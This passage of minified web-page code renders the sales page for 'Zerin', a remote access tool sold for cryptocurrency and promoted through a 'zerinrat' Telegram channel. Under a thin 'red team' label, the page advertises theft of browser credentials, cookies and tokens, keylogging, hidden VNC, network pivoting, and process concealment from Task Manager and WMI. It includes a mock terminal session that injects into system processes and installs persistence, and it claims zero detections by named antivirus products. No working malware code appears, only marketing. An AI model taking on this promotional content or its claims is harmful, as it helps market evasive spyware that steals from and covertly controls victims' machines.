assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],a_=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Bs({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const s_=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),o_=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function l_(){const e=r_("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(n_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:a_.map((u,d)=>a.jsx(s_,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:i_.map((u,d)=>a.jsx(o_,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx(Bs,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx(Bs,{value:12,suffix:"",label:"Persist Methods"}),a.jsx(Bs,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx(Bs,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx(Bs,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 